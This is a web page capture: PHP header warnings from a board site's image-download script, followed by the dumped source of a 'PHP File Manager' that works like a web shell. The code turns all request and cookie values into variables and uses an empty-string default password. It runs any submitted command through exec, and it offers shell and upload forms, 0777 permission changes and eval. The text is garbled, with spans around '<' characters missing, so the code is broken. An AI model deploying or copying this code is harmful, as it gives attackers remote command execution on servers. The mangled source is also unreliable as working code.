Warning: Cannot modify header information - headers already sent by (output started at /home/dwteg/www0214/application/default.php:253) in /home/dwteg/www0214/pages/board/tool/imgDown.php on line 53
Warning: Cannot modify header information - headers already sent by (output started at /home/dwteg/www0214/application/default.php:253) in /home/dwteg/www0214/pages/board/tool/imgDown.php on line 54
Warning: Cannot modify header information - headers already sent by (output started at /home/dwteg/www0214/application/default.php:253) in /home/dwteg/www0214/pages/board/tool/imgDown.php on line 55
Warning: Cannot modify header information - headers already sent by (output started at /home/dwteg/www0214/application/default.php:253) in /home/dwteg/www0214/pages/board/tool/imgDown.php on line 56
$val) $$key=htmldecode($val);
foreach ($_POST as $key => $val) $$key=htmldecode($val);
foreach ($_COOKIE as $key => $val) $$key=htmldecode($val);
if (empty($_SERVER["HTTP_X_FORWARDED_FOR"])) $ip = $_SERVER["REMOTE_ADDR"]; //nao usa proxy
else $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; //usa proxy
$islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$url_info = parse_url($_SERVER["HTTP_REFERER"]);
$doc_root = ($islinux) ? $_SERVER["DOCUMENT_ROOT"] : ucfirst($_SERVER["DOCUMENT_ROOT"]);
$script_filename = $doc_root.$_SERVER["PHP_SELF"];
$path_info = pathinfo($script_filename);
// +--------------------------------------------------
// + Config
// +--------------------------------------------------
$cfg = new config();
$cfg->load();
ini_set("display_errors",1);
ini_set("error_reporting",$error_reporting);
if (!isset($dir_atual)){
$dir_atual = $path_info["dirname"]."/";
if (!$islinux) $dir_atual = ucfirst($dir_atual);
@chmod($dir_atual,0777);
} else $dir_atual = formatpath($dir_atual);
$is_reachable = (stristr($dir_atual,$doc_root)!==false);
// Auto Expand Local Path
if (!isset($expanded_dir_list)){
$expanded_dir_list = "";
$mat = explode("/",$path_info["dirname"]);
for ($x=0;$x$color){
$fm_color[$tag]=strtolower($color);
}
// +--------------------------------------------------
// + File Manager Actions
// +--------------------------------------------------
if ($loggedon==$auth_pass){
switch ($frame){
case 1: break; // Empty Frame
case 2: frame2(); break;
case 3: frame3(); break;
default:
switch($action){
case 1: logout(); break;
case 2: config_form(); break;
case 3: download(); break;
case 4: view(); break;
case 5: server_info(); break;
case 6: execute(); break;
case 7: edit_file_form(); break;
case 8: chmod_form(); break;
case 9: shell_form(); break;
case 10: upload_form(); break;
default: frameset();
}
}
} else {
if (isset($senha)) login();
else form_login();
}
// +--------------------------------------------------
// + Config Class
// +--------------------------------------------------
class config {
var $data;
var $filename;
function config(){
global $script_filename;
$this->data = array(
'lang'=>'en',
'auth_pass'=>md5(''),
'quota_mb'=>0,
'upload_ext_filter'=>array(),
'download_ext_filter'=>array(),
'error_reporting'=>'',
'fm_root'=>'',
'cookie_cache_time'=>time()+60*60*24*30, // 30 Dias
'version'=>'0.9.3'
);
$data = false;
$this->filename = $script_filename;
if (file_exists($this->filename)){
$mat = file($this->filename);
$objdata = trim(substr($mat[1],2));
if (strlen($objdata)) $data = unserialize($objdata);
}
if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;
else $this->save();
}
function save(){
$objdata = "data).chr(13).chr(10);
if (strlen($objdata)){
if (file_exists($this->filename)){
$mat = file($this->filename);
if ($fh = @fopen($this->filename, "w")){
@fputs($fh,$objdata,strlen($objdata));
for ($x=2;$xdata as $key => $val) $GLOBALS[$key] = $val;
}
}
// +--------------------------------------------------
// + Internationalization
// +--------------------------------------------------
function et($tag){
global $lang;
// English
$en['Version'] = 'Version';
$en['DocRoot'] = 'Document Root';
$en['FLRoot'] = 'File Manager Root';
$en['Name'] = 'Name';
$en['And'] = 'and';
$en['Enter'] = 'Enter';
$en['Send'] = 'Send';
$en['Refresh'] = 'Refresh';
$en['SaveConfig'] = 'Save Configurations';
$en['SavePass'] = 'Save Password';
$en['SaveFile'] = 'Save File';
$en['Save'] = 'Save';
$en['Leave'] = 'Leave';
$en['Edit'] = 'Edit';
$en['View'] = 'View';
$en['Config'] = 'Config';
$en['Ren'] = 'Rename';
$en['Rem'] = 'Delete';
$en['Compress'] = 'Compress';
$en['Decompress'] = 'Decompress';
$en['ResolveIDs'] = 'Resolve IDs';
$en['Move'] = 'Move';
$en['Copy'] = 'Copy';
$en['ServerInfo'] = 'Server Info';
$en['CreateDir'] = 'Create Directory';
$en['CreateArq'] = 'Create File';
$en['ExecCmd'] = 'Execute Command';
$en['Upload'] = 'Upload';
$en['UploadEnd'] = 'Upload Finished';
$en['Perms'] = 'Permissions';
$en['Owner'] = 'Owner';
$en['Group'] = 'Group';
$en['Other'] = 'Other';
$en['Size'] = 'Size';
$en['Date'] = 'Date';
$en['Type'] = 'Type';
$en['Free'] = 'free';
$en['Shell'] = 'Shell';
$en['Read'] = 'Read';
$en['Write'] = 'Write';
$en['Exec'] = 'Execute';
$en['Apply'] = 'Apply';
$en['StickyBit'] = 'Sticky Bit';
$en['Pass'] = 'Password';
$en['Lang'] = 'Language';
$en['File'] = 'File';
$en['File_s'] = 'file(s)';
$en['Dir_s'] = 'directory(s)';
$en['To'] = 'to';
$en['Destination'] = 'Destination';
$en['Configurations'] = 'Configurations';
$en['JSError'] = 'JavaScript Error';
$en['NoSel'] = 'There are no selected itens';
$en['SelDir'] = 'Select the destination directory on the left tree';
$en['TypeDir'] = 'Enter the directory name';
$en['TypeArq'] = 'Enter the file name';
$en['TypeCmd'] = 'Enter the command';
$en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
$en['RemSel'] = 'DELETE selected itens';
$en['NoDestDir'] = 'There is no selected destination directory';
$en['DestEqOrig'] = 'Origin and destination directories are equal';
$en['InvalidDest'] = 'Destination directory is invalid';
$en['NoNewPerm'] = 'New permission not set';
$en['CopyTo'] = 'COPY to';
$en['MoveTo'] = 'MOVE to';
$en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
$en['ConfExec'] = 'Confirm EXECUTE';
$en['ConfRem'] = 'Confirm DELETE';
$en['EmptyDir'] = 'Empty directory';
$en['IOError'] = 'I/O Error';
$en['FileMan'] = 'PHP File Manager';
$en['TypePass'] = 'Enter the password';
$en['InvPass'] = 'Invalid Password';
$en['ReadDenied'] = 'Read Access Denied';
$en['FileNotFound'] = 'File not found';
$en['AutoClose'] = 'Close on Complete';
$en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
$en['NoCmd'] = 'Error: Command not informed';
$en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
$en['ConfSaved'] = 'Configurations saved';
$en['PassSaved'] = 'Password saved';
$en['FileDirExists'] = 'File or directory already exists';
$en['NoPhpinfo'] = 'Function phpinfo disabled';
$en['NoReturn'] = 'no return';
$en['FileSent'] = 'File sent';
$en['SpaceLimReached'] = 'Space limit reached';
$en['InvExt'] = 'Invalid extension';
$en['FileNoOverw'] = 'File could not be overwritten';
$en['FileOverw'] = 'File overwritten';
$en['FileIgnored'] = 'File ignored';
$en['ChkVer'] = 'Check sf.net for new version';
$en['ChkVerAvailable'] = 'New version, click here to begin download!!';
$en['ChkVerNotAvailable'] = 'No new version available. :(';
$en['ChkVerError'] = 'Connection Error.';
$en['Website'] = 'Website';
$en['SendingForm'] = 'Sending files, please wait';
$en['NoFileSel'] = 'No file selected';
$en['SelAll'] = 'All';
$en['SelNone'] = 'None';
$en['SelInverse'] = 'Inverse';
$en['Selected_s'] = 'selected';
$en['Total'] = 'total';
$en['Partition'] = 'Partition';
$en['RenderTime'] = 'Time to render this page';
$en['Seconds'] = 'sec';
$en['ErrorReport'] = 'Error Reporting';
$lang_ = $$lang;
if (isset($lang_[$tag])) return htmlencode($lang_[$tag]);
else return "undefined";
}
// +--------------------------------------------------
// + File System
// +--------------------------------------------------
function total_size($arg) {
$total = 0;
if (file_exists($arg)) {
if (is_dir($arg)) {
$handle = opendir($arg);
while($aux = readdir($handle)) {
if ($aux != "." && $aux != "..") $total += total_size($arg."/".$aux);
}
closedir($handle);
} else $total = filesize($arg);
}
return $total;
}
function total_delete($arg) {
if (file_exists($arg)) {
chmod($arg,0777);
if (is_dir($arg)) {
$handle = opendir($arg);
while($aux = readdir($handle)) {
if ($aux != "." && $aux != "..") total_delete($arg."/".$aux);
}
closedir($handle);
rmdir($arg);
} else unlink($arg);
}
}
function total_copy($orig,$dest) {
$ok = true;
if (file_exists($orig)) {
if (is_dir($orig)) {
mkdir($dest,0777);
$handle = opendir($orig);
while(($aux = readdir($handle))&&($ok)) {
if ($aux != "." && $aux != "..") $ok = total_copy($orig."/".$aux,$dest."/".$aux);
}
closedir($handle);
} else $ok = copy((string)$orig,(string)$dest);
}
return $ok;
}
function total_move($orig,$dest) {
// Just why doesn't it has a MOVE alias?!
return rename((string)$orig,(string)$dest);
}
function download(){
global $dir_atual,$filename;
$file = $dir_atual.$filename;
if(file_exists($file)){
$is_proibido = false;
foreach($download_ext_filter as $key=>$ext){
if (eregi($ext,$filename)){
$is_proibido = true;
break;
}
}
if (!$is_proibido){
$size = filesize($file);
header("Content-Type: application/save");
header("Content-Length: $size");
header("Content-Disposition: attachment; filename=\"$filename\"");
header("Content-Transfer-Encoding: binary");
if ($fh = fopen("$file", "rb")){
fpassthru($fh);
fclose($fh);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('ReadDenied').": ".$file);
} else alert(et('FileNotFound').": ".$file);
}
function execute(){
global $cmd;
header("Content-type: text/plain");
if (strlen($cmd)){
echo "# ".$cmd."\n";
exec($cmd,$mat);
if (count($mat)) echo trim(implode("\n",$mat));
else echo "exec(\"$cmd\") ".et('NoReturn')."...";
} else echo et('NoCmd');
}
function save_upload($temp_file,$filename,$dir_dest) {
global $upload_ext_filter;
$filename = remove_acentos($filename);
$file = $dir_dest.$filename;
$filesize = filesize($temp_file);
$is_proibido = false;
foreach($upload_ext_filter as $key=>$ext){
if (eregi($ext,$filename)){
$is_proibido = true;
break;
}
}
if (!$is_proibido){
if (!limite($filesize)){
if (file_exists($file)){
if (unlink($file)){
if (copy($temp_file,$file)){
chmod($file,0777);
$out = 6;
} else $out = 2;
} else $out = 5;
} else {
if (copy($temp_file,$file)){
chmod($file,0777);
$out = 1;
} else $out = 2;
}
} else $out = 3;
} else $out = 4;
return $out;
}
function zip_extract(){
global $cmd_arg,$dir_atual,$islinux;
$zip = zip_open($dir_atual.$cmd_arg);
if ($zip) {
while ($zip_entry = zip_read($zip)) {
if (zip_entry_filesize($zip_entry)) {
$complete_path = $path.dirname(zip_entry_name($zip_entry));
$complete_name = $path.zip_entry_name($zip_entry);
if(!file_exists($complete_path)) {
$tmp = '';
foreach(explode('/',$complete_path) AS $k) {
$tmp .= $k.'/';
if(!file_exists($tmp)) {
@mkdir($dir_atual.$tmp, 0777);
}
}
}
if (zip_entry_open($zip, $zip_entry, "r")) {
if ($fd = fopen($dir_atual.$complete_name, 'w')){
fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
fclose($fd);
} else echo "fopen($dir_atual.$complete_name) error ";
zip_entry_close($zip_entry);
} else echo "zip_entry_open($zip,$zip_entry) error ";
}
}
zip_close($zip);
}
}
// +--------------------------------------------------
// + Data Formating
// +--------------------------------------------------
function htmlencode($str){
return htmlentities($str);
}
// html_entity_decode() replacement
function html_entity_decode_for_php4_compatibility ($string) {
$trans_tbl = get_html_translation_table (HTML_ENTITIES);
$trans_tbl = array_flip ($trans_tbl);
$ret = strtr ($string, $trans_tbl);
return preg_replace('/\&\#([0-9]+)\;/me',
"chr('\\1')",$ret);
}
function htmldecode($str){
if (is_string($str)){
if (get_magic_quotes_gpc()) return stripslashes(html_entity_decode_for_php4_compatibility($str));
else return html_entity_decode($str);
} else return $str;
}
function rep($x,$y){
if ($x) {
$aux = "";
for ($a=1;$a<=$x;$a++) $aux .= $y;
return $aux;
} else return "";
}
function strzero($arg1,$arg2){
if (strstr($arg1,"-") == false){
$aux = intval($arg2) - strlen($arg1);
if ($aux) return rep($aux,"0").$arg1;
else return $arg1;
} else {
return "[$arg1]";
}
}
function replace_double($sub,$str){
$out=str_replace($sub.$sub,$sub,$str);
while ( strlen($out) != strlen($str) ){
$str=$out;
$out=str_replace($sub.$sub,$sub,$str);
}
return $out;
}
function remove_acentos($str){
$str = trim($str);
$str = strtr($str,"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ!@#%&*()[]{}+=?",
"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy_______________");
$str = str_replace("..","",str_replace("/","",str_replace("\\","",str_replace("\$","",$str))));
return $str;
}
function formatpath($str){
global $islinux;
$str = trim($str);
$str = str_replace("..","",str_replace("\\","/",str_replace("\$","",$str)));
$done = false;
while (!$done) {
$str2 = str_replace("//","/",$str);
if (strlen($str) == strlen($str2)) $done = true;
else $str = $str2;
}
$tam = strlen($str);
if ($tam){
$last_char = $tam - 1;
if ($str[$last_char] != "/") $str .= "/";
if (!$islinux) $str = ucfirst($str);
}
return $str;
}
function array_csort() {
$args = func_get_args();
$marray = array_shift($args);
$msortline = "return(array_multisort(";
foreach ($args as $arg) {
$i++;
if (is_string($arg)) {
foreach ($marray as $row) {
$sortarr[$i][] = $row[$arg];
}
} else {
$sortarr[$i] = $arg;
}
$msortline .= "\$sortarr[".$i."],";
}
$msortline .= "\$marray));";
eval($msortline);
return $marray;
}
function show_perms( $in_Perms ) {
$sP = "";
if($in_Perms & 0x1000) $sP .= 'p'; // FIFO pipe
elseif($in_Perms & 0x2000) $sP .= 'c'; // Character special
elseif($in_Perms & 0x4000) $sP .= 'd'; // Directory
elseif($in_Perms & 0x6000) $sP .= 'b'; // Block special
elseif($in_Perms & 0x8000) $sP .= '−'; // Regular
elseif($in_Perms & 0xA000) $sP .= 'l'; // Symbolic Link
elseif($in_Perms & 0xC000) $sP .= 's'; // Socket
else $sP .= 'u'; // UNKNOWN
$sP .= "";
// owner - group - others
$sP .= (($in_Perms & 0x0100) ? 'r' : '−') . (($in_Perms & 0x0080) ? 'w' : '−') . (($in_Perms & 0x0040) ? (($in_Perms & 0x0800) ? 's' : 'x' ) : (($in_Perms & 0x0800) ? 'S' : '−'));
$sP .= (($in_Perms & 0x0020) ? 'r' : '−') . (($in_Perms & 0x0010) ? 'w' : '−') . (($in_Perms & 0x0008) ? (($in_Perms & 0x0400) ? 's' : 'x' ) : (($in_Perms & 0x0400) ? 'S' : '−'));
$sP .= (($in_Perms & 0x0004) ? 'r' : '−') . (($in_Perms & 0x0002) ? 'w' : '−') . (($in_Perms & 0x0001) ? (($in_Perms & 0x0200) ? 't' : 'x' ) : (($in_Perms & 0x0200) ? 'T' : '−'));
return $sP;
}
function formatsize($arg) {
if ($arg>0){
$j = 0;
$ext = array(" bytes"," Kb"," Mb"," Gb"," Tb");
while ($arg >= pow(1024,$j)) ++$j;
return round($arg / pow(1024,$j-1) * 100) / 100 . $ext[$j-1];
} else return "0 Mb";
}
function getsize($file) {
return formatsize(filesize($file));
}
function limite($new_filesize=0) {
global $fm_root_atual;
global $quota_mb;
if($quota_mb){
$total = total_size($fm_root_atual);
if (floor(($total+$new_filesize)/(1024*1024)) > $quota_mb) return true;
}
return false;
}
function getuser ($arg) {
global $mat_passwd;
$aux = "x:".trim($arg).":";
for($x=0;$x...:::: ".et('FileMan')."
$plus
";
}
function reloadframe($ref,$frame_number,$plus=""){
global $dir_atual,$path_info;
echo "
";
}
function alert($arg){
echo "
";
}
function tree($dir_antes,$dir_corrente,$indice){
global $fm_root_atual, $dir_atual, $islinux;
global $expanded_dir_list;
$indice++;
$num_dir = 0;
$dir_name = str_replace($dir_antes,"",$dir_corrente);
$dir_corrente = str_replace("//","/",$dir_corrente);
$is_proibido = false;
if ($islinux) {
$proibidos = "/proc#/dev";
$mat = explode("#",$proibidos);
foreach($mat as $key => $val){
if ($dir_corrente == $val){
$is_proibido = true;
break;
}
}
unset($mat);
}
if (!$is_proibido){
if ($handle = @opendir($dir_corrente)){
// Permitido
while ($file = readdir($handle)){
if ($file != "." && $file != ".." && is_dir("$dir_corrente/$file"))
$mat_dir[] = $file;
}
closedir($handle);
if (count($mat_dir)){
sort($mat_dir,SORT_STRING);
// Com Sub-dir
if ($indice != 0){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "•";
}
if ($dir_antes != $dir_corrente){
if (strstr($expanded_dir_list,":$dir_corrente/$dir_name")) $op_str = "[–]";
else $op_str = "[+]";
echo " $op_str$dir_name \n";
} else {
echo "$fm_root_atual \n";
}
for ($x=0;$x$dir_name \n";
} else {
echo "$fm_root_atual \n";
}
}
} else {
// Negado
if ($dir_antes != $dir_corrente){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "•";
echo "$dir_name \n";
} else {
echo "$fm_root_atual \n";
}
}
} else {
// Proibido
if ($dir_antes != $dir_corrente){
for ($aux=1;$aux<$indice;$aux++) echo " ";
echo "•";
echo "$dir_name \n";
} else {
echo "$fm_root_atual \n";
}
}
}
function show_tree(){
global $fm_root_atual,$path_info,$setflag,$islinux;
html_header();
echo "\n";
echo "
";
echo "